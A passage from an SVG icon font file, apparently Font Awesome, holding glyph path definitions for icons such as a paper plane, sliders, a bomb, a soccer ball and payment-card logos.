q98 0 218 47zM1123 220h-222q4 45 4 134v609q0 94 -4 128h222q-4 -33 -4 -124v-613q0 -89 4 -134zM1724 442v-196q-71 -39 -174 -39q-62 0 -107 20t-70 50t-39.5 78t-18.5 92t-4 103v351h2v4q-7 0 -19 1t-18 1q-21 0 -59 -6v190h96v76q0 54 -6 89h227q-6 -41 -6 -165h171
v-190q-15 0 -43.5 2t-42.5 2h-85v-365q0 -131 87 -131q61 0 109 33zM1148 1389q0 -58 -39 -101.5t-96 -43.5q-58 0 -98 43.5t-40 101.5q0 59 39.5 103t98.5 44q58 0 96.5 -44.5t38.5 -102.5z" />
    <glyph glyph-name="_439" unicode="&#xf1d4;" 
d="M809 532l266 499h-112l-157 -312q-24 -48 -44 -92l-42 92l-155 312h-120l263 -493v-324h101v318zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="uniF1D5" unicode="&#xf1d5;" horiz-adv-x="1280" 
d="M842 964q0 -80 -57 -136.5t-136 -56.5q-60 0 -111 35q-62 -67 -115 -146q-247 -371 -202 -859q1 -22 -12.5 -38.5t-34.5 -18.5h-5q-20 0 -35 13.5t-17 33.5q-14 126 -3.5 247.5t29.5 217t54 186t69 155.5t74 125q61 90 132 165q-16 35 -16 77q0 80 56.5 136.5t136.5 56.5
t136.5 -56.5t56.5 -136.5zM1223 953q0 -158 -78 -292t-212.5 -212t-292.5 -78q-64 0 -131 14q-21 5 -32.5 23.5t-6.5 39.5q5 20 23 31.5t39 7.5q51 -13 108 -13q97 0 186 38t153 102t102 153t38 186t-38 186t-102 153t-153 102t-186 38t-186 -38t-153 -102t-102 -153
t-38 -186q0 -114 52 -218q10 -20 3.5 -40t-25.5 -30t-39.5 -3t-30.5 26q-64 123 -64 265q0 119 46.5 227t124.5 186t186 124t226 46q158 0 292.5 -78t212.5 -212.5t78 -292.5z" />
    <glyph glyph-name="uniF1D6" unicode="&#xf1d6;" horiz-adv-x="1792" 
d="M270 730q-8 19 -8 52q0 20 11 49t24 45q-1 22 7.5 53t22.5 43q0 139 92.5 288.5t217.5 209.5q139 66 324 66q133 0 266 -55q49 -21 90 -48t71 -56t55 -68t42 -74t32.5 -84.5t25.5 -89.5t22 -98l1 -5q55 -83 55 -150q0 -14 -9 -40t-9 -38q0 -1 1.5 -3.5t3.5 -5t2 -3.5
q77 -114 120.5 -214.5t43.5 -208.5q0 -43 -19.5 -100t-55.5 -57q-9 0 -19.5 7.5t-19 17.5t-19 26t-16 26.5t-13.5 26t-9 17.5q-1 1 -3 1l-5 -4q-59 -154 -132 -223q20 -20 61.5 -38.5t69 -41.5t35.5 -65q-2 -4 -4 -16t-7 -18q-64 -97 -302 -97q-53 0 -110.5 9t-98 20
t-104.5 30q-15 5 -23 7q-14 4 -46 4.5t-40 1.5q-41 -45 -127.5 -65t-168.5 -20q-35 0 -69 1.5t-93 9t-101 20.5t-74.5 40t-32.5 64q0 40 10 59.5t41 48.5q11 2 40.5 13t49.5 12q4 0 14 2q2 2 2 4l-2 3q-48 11 -108 105.5t-73 156.5l-5 3q-4 0 -12 -20q-18 -41 -54.5 -74.5
t-77.5 -37.5h-1q-4 0 -6 4.5t-5 5.5q-23 54 -23 100q0 275 252 466z" />
    <glyph glyph-name="uniF1D7" unicode="&#xf1d7;" horiz-adv-x="2048" 
d="M580 1075q0 41 -25 66t-66 25q-43 0 -76 -25.5t-33 -65.5q0 -39 33 -64.5t76 -25.5q41 0 66 24.5t25 65.5zM1323 568q0 28 -25.5 50t-65.5 22q-27 0 -49.5 -22.5t-22.5 -49.5q0 -28 22.5 -50.5t49.5 -22.5q40 0 65.5 22t25.5 51zM1087 1075q0 41 -24.5 66t-65.5 25
q-43 0 -76 -25.5t-33 -65.5q0 -39 33 -64.5t76 -25.5q41 0 65.5 24.5t24.5 65.5zM1722 568q0 28 -26 50t-65 22q-27 0 -49.5 -22.5t-22.5 -49.5q0 -28 22.5 -50.5t49.5 -22.5q39 0 65 22t26 51zM1456 965q-31 4 -70 4q-169 0 -311 -77t-223.5 -208.5t-81.5 -287.5
q0 -78 23 -152q-35 -3 -68 -3q-26 0 -50 1.5t-55 6.5t-44.5 7t-54.5 10.5t-50 10.5l-253 -127l72 218q-290 203 -290 490q0 169 97.5 311t264 223.5t363.5 81.5q176 0 332.5 -66t262 -182.5t136.5 -260.5zM2048 404q0 -117 -68.5 -223.5t-185.5 -193.5l55 -181l-199 109
q-150 -37 -218 -37q-169 0 -311 70.5t-223.5 191.5t-81.5 264t81.5 264t223.5 191.5t311 70.5q161 0 303 -70.5t227.5 -192t85.5 -263.5z" />
    <glyph glyph-name="_443" unicode="&#xf1d8;" horiz-adv-x="1792" 
d="M1764 1525q33 -24 27 -64l-256 -1536q-5 -29 -32 -45q-14 -8 -31 -8q-11 0 -24 5l-453 185l-242 -295q-18 -23 -49 -23q-13 0 -22 4q-19 7 -30.5 23.5t-11.5 36.5v349l864 1059l-1069 -925l-395 162q-37 14 -40 55q-2 40 32 59l1664 960q15 9 32 9q20 0 36 -11z" />
    <glyph glyph-name="_444" unicode="&#xf1d9;" horiz-adv-x="1792" 
d="M1764 1525q33 -24 27 -64l-256 -1536q-5 -29 -32 -45q-14 -8 -31 -8q-11 0 -24 5l-527 215l-298 -327q-18 -21 -47 -21q-14 0 -23 4q-19 7 -30 23.5t-11 36.5v452l-472 193q-37 14 -40 55q-3 39 32 59l1664 960q35 21 68 -2zM1422 26l221 1323l-1434 -827l336 -137
l863 639l-478 -797z" />
    <glyph glyph-name="_445" unicode="&#xf1da;" 
d="M1536 640q0 -156 -61 -298t-164 -245t-245 -164t-298 -61q-172 0 -327 72.5t-264 204.5q-7 10 -6.5 22.5t8.5 20.5l137 138q10 9 25 9q16 -2 23 -12q73 -95 179 -147t225 -52q104 0 198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5t-40.5 198.5t-109.5 163.5
t-163.5 109.5t-198.5 40.5q-98 0 -188 -35.5t-160 -101.5l137 -138q31 -30 14 -69q-17 -40 -59 -40h-448q-26 0 -45 19t-19 45v448q0 42 40 59q39 17 69 -14l130 -129q107 101 244.5 156.5t284.5 55.5q156 0 298 -61t245 -164t164 -245t61 -298zM896 928v-448q0 -14 -9 -23
t-23 -9h-320q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h224v352q0 14 9 23t23 9h64q14 0 23 -9t9 -23z" />
    <glyph glyph-name="_446" unicode="&#xf1db;" 
d="M768 1280q-130 0 -248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5t-51 248.5t-136.5 204t-204 136.5t-248.5 51zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103
t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_447" unicode="&#xf1dc;" horiz-adv-x="1792" 
d="M1682 -128q-44 0 -132.5 3.5t-133.5 3.5q-44 0 -132 -3.5t-132 -3.5q-24 0 -37 20.5t-13 45.5q0 31 17 46t39 17t51 7t45 15q33 21 33 140l-1 391q0 21 -1 31q-13 4 -50 4h-675q-38 0 -51 -4q-1 -10 -1 -31l-1 -371q0 -142 37 -164q16 -10 48 -13t57 -3.5t45 -15
t20 -45.5q0 -26 -12.5 -48t-36.5 -22q-47 0 -139.5 3.5t-138.5 3.5q-43 0 -128 -3.5t-127 -3.5q-23 0 -35.5 21t-12.5 45q0 30 15.5 45t36 17.5t47.5 7.5t42 15q33 23 33 143l-1 57v813q0 3 0.5 26t0 36.5t-1.5 38.5t-3.5 42t-6.5 36.5t-11 31.5t-16 18q-15 10 -45 12t-53 2
t-41 14t-18 45q0 26 12 48t36 22q46 0 138.5 -3.5t138.5 -3.5q42 0 126.5 3.5t126.5 3.5q25 0 37.5 -22t12.5 -48q0 -30 -17 -43.5t-38.5 -14.5t-49.5 -4t-43 -13q-35 -21 -35 -160l1 -320q0 -21 1 -32q13 -3 39 -3h699q25 0 38 3q1 11 1 32l1 320q0 139 -35 160
q-18 11 -58.5 12.5t-66 13t-25.5 49.5q0 26 12.5 48t37.5 22q44 0 132 -3.5t132 -3.5q43 0 129 3.5t129 3.5q25 0 37.5 -22t12.5 -48q0 -30 -17.5 -44t-40 -14.5t-51.5 -3t-44 -12.5q-35 -23 -35 -161l1 -943q0 -119 34 -140q16 -10 46 -13.5t53.5 -4.5t41.5 -15.5t18 -44.5
q0 -26 -12 -48t-36 -22z" />
    <glyph glyph-name="_448" unicode="&#xf1dd;" horiz-adv-x="1280" 
d="M1278 1347v-73q0 -29 -18.5 -61t-42.5 -32q-50 0 -54 -1q-26 -6 -32 -31q-3 -11 -3 -64v-1152q0 -25 -18 -43t-43 -18h-108q-25 0 -43 18t-18 43v1218h-143v-1218q0 -25 -17.5 -43t-43.5 -18h-108q-26 0 -43.5 18t-17.5 43v496q-147 12 -245 59q-126 58 -192 179
q-64 117 -64 259q0 166 88 286q88 118 209 159q111 37 417 37h479q25 0 43 -18t18 -43z" />
    <glyph glyph-name="_449" unicode="&#xf1de;" 
d="M352 128v-128h-352v128h352zM704 256q26 0 45 -19t19 -45v-256q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h256zM864 640v-128h-864v128h864zM224 1152v-128h-224v128h224zM1536 128v-128h-736v128h736zM576 1280q26 0 45 -19t19 -45v-256
q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h256zM1216 768q26 0 45 -19t19 -45v-256q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h256zM1536 640v-128h-224v128h224zM1536 1152v-128h-864v128h864z" />
    <glyph glyph-name="uniF1E0" unicode="&#xf1e0;" 
d="M1216 512q133 0 226.5 -93.5t93.5 -226.5t-93.5 -226.5t-226.5 -93.5t-226.5 93.5t-93.5 226.5q0 12 2 34l-360 180q-92 -86 -218 -86q-133 0 -226.5 93.5t-93.5 226.5t93.5 226.5t226.5 93.5q126 0 218 -86l360 180q-2 22 -2 34q0 133 93.5 226.5t226.5 93.5
t226.5 -93.5t93.5 -226.5t-93.5 -226.5t-226.5 -93.5q-126 0 -218 86l-360 -180q2 -22 2 -34t-2 -34l360 -180q92 86 218 86z" />
    <glyph glyph-name="_451" unicode="&#xf1e1;" 
d="M1280 341q0 88 -62.5 151t-150.5 63q-84 0 -145 -58l-241 120q2 16 2 23t-2 23l241 120q61 -58 145 -58q88 0 150.5 63t62.5 151t-62.5 150.5t-150.5 62.5t-151 -62.5t-63 -150.5q0 -7 2 -23l-241 -120q-62 57 -145 57q-88 0 -150.5 -62.5t-62.5 -150.5t62.5 -150.5
t150.5 -62.5q83 0 145 57l241 -120q-2 -16 -2 -23q0 -88 63 -150.5t151 -62.5t150.5 62.5t62.5 150.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_452" unicode="&#xf1e2;" horiz-adv-x="1792" 
d="M571 947q-10 25 -34 35t-49 0q-108 -44 -191 -127t-127 -191q-10 -25 0 -49t35 -34q13 -5 24 -5q42 0 60 40q34 84 98.5 148.5t148.5 98.5q25 11 35 35t0 49zM1513 1303l46 -46l-244 -243l68 -68q19 -19 19 -45.5t-19 -45.5l-64 -64q89 -161 89 -343q0 -143 -55.5 -273.5
t-150 -225t-225 -150t-273.5 -55.5t-273.5 55.5t-225 150t-150 225t-55.5 273.5t55.5 273.5t150 225t225 150t273.5 55.5q182 0 343 -89l64 64q19 19 45.5 19t45.5 -19l68 -68zM1521 1359q-10 -10 -22 -10q-13 0 -23 10l-91 90q-9 10 -9 23t9 23q10 9 23 9t23 -9l90 -91
q10 -9 10 -22.5t-10 -22.5zM1751 1129q-11 -9 -23 -9t-23 9l-90 91q-10 9 -10 22.5t10 22.5q9 10 22.5 10t22.5 -10l91 -90q9 -10 9 -23t-9 -23zM1792 1312q0 -14 -9 -23t-23 -9h-96q-14 0 -23 9t-9 23t9 23t23 9h96q14 0 23 -9t9 -23zM1600 1504v-96q0 -14 -9 -23t-23 -9
t-23 9t-9 23v96q0 14 9 23t23 9t23 -9t9 -23zM1751 1449l-91 -90q-10 -10 -22 -10q-13 0 -23 10q-10 9 -10 22.5t10 22.5l90 91q10 9 23 9t23 -9q9 -10 9 -23t-9 -23z" />
    <glyph glyph-name="_453" unicode="&#xf1e3;" horiz-adv-x="1792" 
d="M609 720l287 208l287 -208l-109 -336h-355zM896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71zM1515 186q149 203 149 454v3l-102 -89l-240 224l63 323
l134 -12q-150 206 -389 282l53 -124l-287 -159l-287 159l53 124q-239 -76 -389 -282l135 12l62 -323l-240 -224l-102 89v-3q0 -251 149 -454l30 132l326 -40l139 -298l-116 -69q117 -39 240 -39t240 39l-116 69l139 298l326 40z" />
    <glyph glyph-name="_454" unicode="&#xf1e4;" horiz-adv-x="1792" 
d="M448 224v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM256 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM832 224v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23
v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM640 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM66 768q-28 0 -47 19t-19 46v129h514v-129q0 -27 -19 -46t-46 -19h-383zM1216 224v-192q0 -14 -9 -23t-23 -9h-192
q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1024 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1600 224v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23
zM1408 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1792 1016v-13h-514v10q0 104 -382 102q-382 -1 -382 -102v-10h-514v13q0 17 8.5 43t34 64t65.5 75.5t110.5 76t160 67.5t224 47.5t293.5 18.5t293 -18.5t224 -47.5
t160.5 -67.5t110.5 -76t65.5 -75.5t34 -64t8.5 -43zM1792 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1792 962v-129q0 -27 -19 -46t-46 -19h-384q-27 0 -46 19t-19 46v129h514z" />
    <glyph glyph-name="_455" unicode="&#xf1e5;" horiz-adv-x="1792" 
d="M704 1216v-768q0 -26 -19 -45t-45 -19v-576q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v512l249 873q7 23 31 23h424zM1024 1216v-704h-256v704h256zM1792 320v-512q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v576q-26 0 -45 19t-19 45v768h424q24 0 31 -23z
M736 1504v-224h-352v224q0 14 9 23t23 9h288q14 0 23 -9t9 -23zM1408 1504v-224h-352v224q0 14 9 23t23 9h288q14 0 23 -9t9 -23z" />
    <glyph glyph-name="_456" unicode="&#xf1e6;" horiz-adv-x="1792" 
d="M1755 1083q37 -38 37 -90.5t-37 -90.5l-401 -400l150 -150l-160 -160q-163 -163 -389.5 -186.5t-411.5 100.5l-362 -362h-181v181l362 362q-124 185 -100.5 411.5t186.5 389.5l160 160l150 -150l400 401q38 37 91 37t90 -37t37 -90.5t-37 -90.5l-400 -401l234 -234
l401 400q38 37 91 37t90 -37z" />
    <glyph glyph-name="_457" unicode="&#xf1e7;" horiz-adv-x="1792" 
d="M873 796q0 -83 -63.5 -142.5t-152.5 -59.5t-152.5 59.5t-63.5 142.5q0 84 63.5 143t152.5 59t152.5 -59t63.5 -143zM1375 796q0 -83 -63 -142.5t-153 -59.5q-89 0 -152.5 59.5t-63.5 142.5q0 84 63.5 143t152.5 59q90 0 153 -59t63 -143zM1600 616v667q0 87 -32 123.5
t-111 36.5h-1112q-83 0 -112.5 -34t-29.5 -126v-673q43 -23 88.5 -40t81 -28t81 -18.5t71 -11t70 -4t58.5 -0.5t56.5 2t44.5 2q68 1 95 -27q6 -6 10 -9q26 -25 61 -51q7 91 118 87q5 0 36.5 -1.5t43 -2t45.5 -1t53 1t54.5 4.5t61 8.5t62 13.5t67 19.5t67.5 27t72 34.5z
M1763 621q-121 -149 -372 -252q84 -285 -23 -465q-66 -113 -183 -148q-104 -32 -182 15q-86 51 -82 164l-1 326v1q-8 2 -24.5 6t-23.5 5l-1 -338q4 -114 -83 -164q-79 -47 -183 -15q-117 36 -182 150q-105 180 -22 463q-251 103 -372 252q-25 37 -4 63t60 -1q4 -2 11.5 -7
t10.5 -8v694q0 72 47 123t114 51h1257q67 0 114 -51t47 -123v-694l21 15q39 27 60 1t-4 -63z" />
    <glyph glyph-name="_458" unicode="&#xf1e8;" horiz-adv-x="1792" 
d="M896 1102v-434h-145v434h145zM1294 1102v-434h-145v434h145zM1294 342l253 254v795h-1194v-1049h326v-217l217 217h398zM1692 1536v-1013l-434 -434h-326l-217 -217h-217v217h-398v1158l109 289h1483z" />
    <glyph glyph-name="_459" unicode="&#xf1e9;" 
d="M773 217v-127q-1 -292 -6 -305q-12 -32 -51 -40q-54 -9 -181.5 38t-162.5 89q-13 15 -17 36q-1 12 4 26q4 10 34 47t181 216q1 0 60 70q15 19 39.5 24.5t49.5 -3.5q24 -10 37.5 -29t12.5 -42zM624 468q-3 -55 -52 -70l-120 -39q-275 -88 -292 -88q-35 2 -54 36
q-12 25 -17 75q-8 76 1 166.5t30 124.5t56 32q13 0 202 -77q71 -29 115 -47l84 -34q23 -9 35.5 -30.5t11.5 -48.5zM1450 171q-7 -54 -91.5 -161t-135.5 -127q-37 -14 -63 7q-14 10 -184 287l-47 77q-14 21 -11.5 46t19.5 46q35 43 83 26q1 -1 119 -40q203 -66 242 -79.5
t47 -20.5q28 -22 22 -61zM778 803q5 -102 -54 -122q-58 -17 -114 71l-378 598q-8 35 19 62q41 43 207.5 89.5t224.5 31.5q40 -10 49 -45q3 -18 22 -305.5t24 -379.5zM1440 695q3 -39 -26 -59q-15 -10 -329 -86q-67 -15 -91 -23l1 2q-23 -6 -46 4t-37 32q-30 47 0 87
q1 1 75 102q125 171 150 204t34 39q28 19 65 2q48 -23 123 -133.5t81 -167.5v-3z" />
    <glyph glyph-name="_460" unicode="&#xf1ea;" horiz-adv-x="2048" 
d="M1024 1024h-384v-384h384v384zM1152 384v-128h-640v128h640zM1152 1152v-640h-640v640h640zM1792 384v-128h-512v128h512zM1792 640v-128h-512v128h512zM1792 896v-128h-512v128h512zM1792 1152v-128h-512v128h512zM256 192v960h-128v-960q0 -26 19 -45t45 -19t45 19
t19 45zM1920 192v1088h-1536v-1088q0 -33 -11 -64h1483q26 0 45 19t19 45zM2048 1408v-1216q0 -80 -56 -136t-136 -56h-1664q-80 0 -136 56t-56 136v1088h256v128h1792z" />
    <glyph glyph-name="_461" unicode="&#xf1eb;" horiz-adv-x="2048" 
d="M1024 13q-20 0 -93 73.5t-73 93.5q0 32 62.5 54t103.5 22t103.5 -22t62.5 -54q0 -20 -73 -93.5t-93 -73.5zM1294 284q-2 0 -40 25t-101.5 50t-128.5 25t-128.5 -25t-101 -50t-40.5 -25q-18 0 -93.5 75t-75.5 93q0 13 10 23q78 77 196 121t233 44t233 -44t196 -121
q10 -10 10 -23q0 -18 -75.5 -93t-93.5 -75zM1567 556q-11 0 -23 8q-136 105 -252 154.5t-268 49.5q-85 0 -170.5 -22t-149 -53t-113.5 -62t-79 -53t-31 -22q-17 0 -92 75t-75 93q0 12 10 22q132 132 320 205t380 73t380 -73t320 -205q10 -10 10 -22q0 -18 -75 -93t-92 -75z
M1838 827q-11 0 -22 9q-179 157 -371.5 236.5t-420.5 79.5t-420.5 -79.5t-371.5 -236.5q-11 -9 -22 -9q-17 0 -92.5 75t-75.5 93q0 13 10 23q187 186 445 288t527 102t527 -102t445 -288q10 -10 10 -23q0 -18 -75.5 -93t-92.5 -75z" />
    <glyph glyph-name="_462" unicode="&#xf1ec;" horiz-adv-x="1792" 
d="M384 0q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM768 0q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM384 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5
t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1152 0q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM768 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5
t37.5 90.5zM384 768q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1152 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM768 768q0 53 -37.5 90.5t-90.5 37.5
t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1536 0v384q0 52 -38 90t-90 38t-90 -38t-38 -90v-384q0 -52 38 -90t90 -38t90 38t38 90zM1152 768q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5z
M1536 1088v256q0 26 -19 45t-45 19h-1280q-26 0 -45 -19t-19 -45v-256q0 -26 19 -45t45 -19h1280q26 0 45 19t19 45zM1536 768q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1664 1408v-1536q0 -52 -38 -90t-90 -38
h-1408q-52 0 -90 38t-38 90v1536q0 52 38 90t90 38h1408q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_463" unicode="&#xf1ed;" 
d="M1519 890q18 -84 -4 -204q-87 -444 -565 -444h-44q-25 0 -44 -16.5t-24 -42.5l-4 -19l-55 -346l-2 -15q-5 -26 -24.5 -42.5t-44.5 -16.5h-251q-21 0 -33 15t-9 36q9 56 26.5 168t26.5 168t27 167.5t27 167.5q5 37 43 37h131q133 -2 236 21q175 39 287 144q102 95 155 246
q24 70 35 133q1 6 2.5 7.5t3.5 1t6 -3.5q79 -59 98 -162zM1347 1172q0 -107 -46 -236q-80 -233 -302 -315q-113 -40 -252 -42q0 -1 -90 -1l-90 1q-100 0 -118 -96q-2 -8 -85 -530q-1 -10 -12 -10h-295q-22 0 -36.5 16.5t-11.5 38.5l232 1471q5 29 27.5 48t51.5 19h598
q34 0 97.5 -13t111.5 -32q107 -41 163.5 -123t56.5 -196z" />
    <glyph glyph-name="_464" unicode="&#xf1ee;" horiz-adv-x="1792" 
d="M441 864q33 0 52 -26q266 -364 362 -774h-446q-127 441 -367 749q-12 16 -3 33.5t29 17.5h373zM1000 507q-49 -199 -125 -393q-79 310 -256 594q40 221 44 449q211 -340 337 -650zM1099 1216q235 -324 384.5 -698.5t184.5 -773.5h-451q-41 665 -553 1472h435zM1792 640
q0 -424 -101 -812q-67 560 -359 1083q-25 301 -106 584q-4 16 5.5 28.5t25.5 12.5h359q21 0 38.5 -13t22.5 -33q115 -409 115 -850z" />
    <glyph glyph-name="uniF1F0" unicode="&#xf1f0;" horiz-adv-x="2304" 
d="M1975 546h-138q14 37 66 179l3 9q4 10 10 26t9 26l12 -55zM531 611l-58 295q-11 54 -75 54h-268l-2 -13q311 -79 403 -336zM710 960l-162 -438l-17 89q-26 70 -85 129.5t-131 88.5l135 -510h175l261 641h-176zM849 318h166l104 642h-166zM1617 944q-69 27 -149 27
q-123 0 -201 -59t-79 -153q-1 -102 145 -174q48 -23 67 -41t19 -39q0 -30 -30 -46t-69 -16q-86 0 -156 33l-22 11l-23 -144q74 -34 185 -34q130 -1 208.5 59t80.5 160q0 106 -140 174q-49 25 -71 42t-22 38q0 22 24.5 38.5t70.5 16.5q70 1 124 -24l15 -8zM2042 960h-128
q-65 0 -87 -54l-246 -588h174l35 96h212q5 -22 20 -96h154zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_466" unicode="&#xf1f1;" horiz-adv-x="2304" 
d="M1119 1195q-128 85 -281 85q-103 0 -197.5 -40.5t-162.5 -108.5t-108.5 -162t-40.5 -197q0 -104 40.5 -198t108.5 -162t162 -108.5t198 -40.5q153 0 281 85q-131 107 -178 265.5t0.5 316.5t177.5 265zM1152 1171q-126 -99 -172 -249.5t-0.5 -300.5t172.5 -249
q127 99 172.5 249t-0.5 300.5t-172 249.5zM1185 1195q130 -107 177.5 -265.5t0.5 -317t-178 -264.5q128 -85 281 -85q104 0 198 40.5t162 108.5t108.5 162t40.5 198q0 103 -40.5 197t-108.5 162t-162.5 108.5t-197.5 40.5q-153 0 -281 -85zM1926 473h7v3h-17v-3h7v-17h3v17z
M1955 456h4v20h-5l-6 -13l-6 13h-5v-20h3v15l6 -13h4l5 13v-15zM1947 16v-2h-2h-3v3h3h2v-1zM1947 7h3l-4 5h2l1 1q1 1 1 3t-1 3l-1 1h-3h-6v-13h3v5h1zM685 75q0 19 11 31t30 12q18 0 29 -12.5t11 -30.5q0 -19 -11 -31t-29 -12q-19 0 -30 12t-11 31zM1158 119q30 0 35 -32
h-70q5 32 35 32zM1514 75q0 19 11 31t29 12t29.5 -12.5t11.5 -30.5q0 -19 -11 -31t-30 -12q-18 0 -29 12t-11 31zM1786 75q0 18 11.5 30.5t29.5 12.5t29.5 -12.5t11.5 -30.5q0 -19 -11.5 -31t-29.5 -12t-29.5 12.5t-11.5 30.5zM1944 3q-2 0 -4 1q-1 0 -3 2t-2 3q-1 2 -1 4
q0 3 1 4q0 2 2 4l1 1q2 0 2 1q2 1 4 1q3 0 4 -1l4 -2l2 -4v-1q1 -2 1 -3l-1 -1v-3t-1 -1l-1 -2q-2 -2 -4 -2q-1 -1 -4 -1zM599 7h30v85q0 24 -14.5 38.5t-39.5 15.5q-32 0 -47 -24q-14 24 -45 24q-24 0 -39 -20v16h-30v-135h30v75q0 36 33 36q30 0 30 -36v-75h29v75
q0 36 33 36q30 0 30 -36v-75zM765 7h29v68v67h-29v-16q-17 20 -43 20q-29 0 -48 -20t-19 -51t19 -51t48 -20q28 0 43 20v-17zM943 48q0 34 -47 40l-14 2q-23 4 -23 14q0 15 25 15q23 0 43 -11l12 24q-22 14 -55 14q-26 0 -41 -12t-15 -32q0 -33 47 -39l13 -2q24 -4 24 -14
q0 -17 -31 -17q-25 0 -45 14l-13 -23q25 -17 58 -17q29 0 45.5 12t16.5 32zM1073 14l-8 25q-13 -7 -26 -7q-19 0 -19 22v61h48v27h-48v41h-30v-41h-28v-27h28v-61q0 -50 47 -50q21 0 36 10zM1159 146q-29 0 -48 -20t-19 -51q0 -32 19.5 -51.5t49.5 -19.5q33 0 55 19l-14 22
q-18 -15 -39 -15q-34 0 -41 33h101v12q0 32 -18 51.5t-46 19.5zM1318 146q-23 0 -35 -20v16h-30v-135h30v76q0 35 29 35q10 0 18 -4l9 28q-9 4 -21 4zM1348 75q0 -31 19.5 -51t52.5 -20q29 0 48 16l-14 24q-18 -13 -35 -12q-18 0 -29.5 12t-11.5 31t11.5 31t29.5 12
q19 0 35 -12l14 24q-20 16 -48 16q-33 0 -52.5 -20t-19.5 -51zM1593 7h30v68v67h-30v-16q-15 20 -42 20q-29 0 -48.5 -20t-19.5 -51t19.5 -51t48.5 -20q28 0 42 20v-17zM1726 146q-23 0 -35 -20v16h-29v-135h29v76q0 35 29 35q10 0 18 -4l9 28q-8 4 -21 4zM1866 7h29v68v122
h-29v-71q-15 20 -43 20t-47.5 -20.5t-19.5 -50.5t19.5 -50.5t47.5 -20.5q29 0 43 20v-17zM1944 27l-2 -1h-3q-2 -1 -4 -3q-3 -1 -3 -4q-1 -2 -1 -6q0 -3 1 -5q0 -2 3 -4q2 -2 4 -3t5 -1q4 0 6 1q0 1 2 2l2 1q1 1 3 4q1 2 1 5q0 4 -1 6q-1 1 -3 4q0 1 -2 2l-2 1q-1 0 -3 0.5
t-3 0.5zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_467" unicode="&#xf1f2;" horiz-adv-x="2304" 
